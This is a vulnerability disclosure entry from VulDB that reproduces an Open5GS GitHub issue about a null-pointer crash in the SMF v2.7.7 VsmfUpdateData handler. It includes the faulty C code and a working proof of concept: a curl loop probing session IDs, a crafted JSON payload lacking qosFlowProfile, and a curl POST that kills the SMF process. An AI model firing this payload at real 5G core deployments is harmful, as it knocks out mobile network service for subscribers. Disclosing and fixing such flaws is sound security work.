Submeter #891894: Open5gs SMF v2.7.7 Denial of Service

Open5GS Release, Revision, or Tag
v2.7.7

Steps to reproduce
Description
SMF crashes when a VsmfUpdateData request to
POST /nsmf-pdusession/v1/vsmf-pdu-session/{smContextRef}/modify contains a
qosFlowsAddModRequestList[*] item with qfi and qosFlowDescription but no
qosFlowProfile.

smf_nsmf_handle_update_data_in_vsmf() accepts such an item through the first
check and then immediately dereferences the missing qosFlowProfile while
formatting the validation error log:

src = node->data;
if (!src ||
!src->qfi ||
!(src->qos_flow_description || src->qos_flow_profile)) {
...
}

qosFlowProfile = src->qos_flow_profile;
if (!qosFlowProfile || ...) {
ogs_error("[%s:%d] Invalid qosFlowProfile [%d:%p:%d]",
smf_ue->supi, sess->psi,
qosFlowProfile->_5qi,
qosFlowProfile->arp,
qosFlowProfile->arp ?
qosFlowProfile->arp->priority_level : 0);
That null dereference aborts the SMF process before it can return a normal
error response.

This issue is not a duplicate of the existing sm-policy-notify callback
reports. It affects a different SBI route and a different HR-related business
handler.

As a control, supplying a valid qosFlowProfile caused execution to progress
further into the same handler and later abort on a different assertion
(param.n2smbuf), showing that the missing-profile case crashes earlier.

Steps to reproduce
Start the Open5GS Docker lab and establish a real SMF session using the
existing UERANSIM containers:
docker restart smf-audit-ue
docker logs --tail 30 smf-audit-ue
Wait until the UE log shows:

PDU Session establishment is successful PSI[1]
Identify the active smContextRef. In this run it was 1:
for id in 1 2 3 4 5 6; do
code=$(curl --http2-prior-knowledge -m 3 -s -o /tmp/out.$$ -w '%{http_code}' \
-X POST http://10.33.33.10/nsmf-callback/v1/sm-policy-notify/${id}/update \
-H 'content-type: application/json' \
--data '{"smPolicyDecision":{}}')
printf '%s %s\n' "$id" "$code"
done
Send the forged update with qosFlowProfile omitted:
payload=$(python3 - <<'PY'
import json
body = {
"requestIndication": "NW_REQ_PDU_SES_MOD",
"qosFlowsAddModRequestList": [
{
"qfi": 1,
"qosFlowDescription": "permit out ip from 10.0.0.1 1000 to any"
}
]
}
print(json.dumps(body, separators=(",", ":")))
PY
)

curl --http2-prior-knowledge -m 5 -sS -i \
-X POST http://10.33.33.10/nsmf-pdusession/v1/vsmf-pdu-session/1/modify \
-H 'content-type: application/json' \
--data "$payload"
Check SMF state and logs:
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' smf
docker logs --since 2026-04-10T21:01:35Z smf
Logs
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream

exited 139 2026-04-10T21:01:42.284384125Z

No application log was emitted for this malformed request before process exit.
Expected behaviour
SMF should reject the malformed VsmfUpdateData item with a normal 400 error response.

Observed Behaviour
The HTTP/2 stream aborts and the SMF process exits with code 139.

eNodeB/gNodeB
Not required.

UE Models and versions
Not required.

• Fonte: ⚠️ https://github.com/open5gs/open5gs/issues/4453
• Utilizador: ZiyuLin (UID 93568)
• Submissão: 15/07/2026 15h38 (há 2 meses)
• Moderação: 29/08/2026 21h12 (2 months later)
• Estado: Duplicado
• Entrada VulDB: 362586 [Open5GS até 2.7.7 SMF /src/smf/nsmf-handler.c smf_nsmf_handle_update_data_in_vsmf qosFlowProfile Negação de Serviço]
• Pontos: 0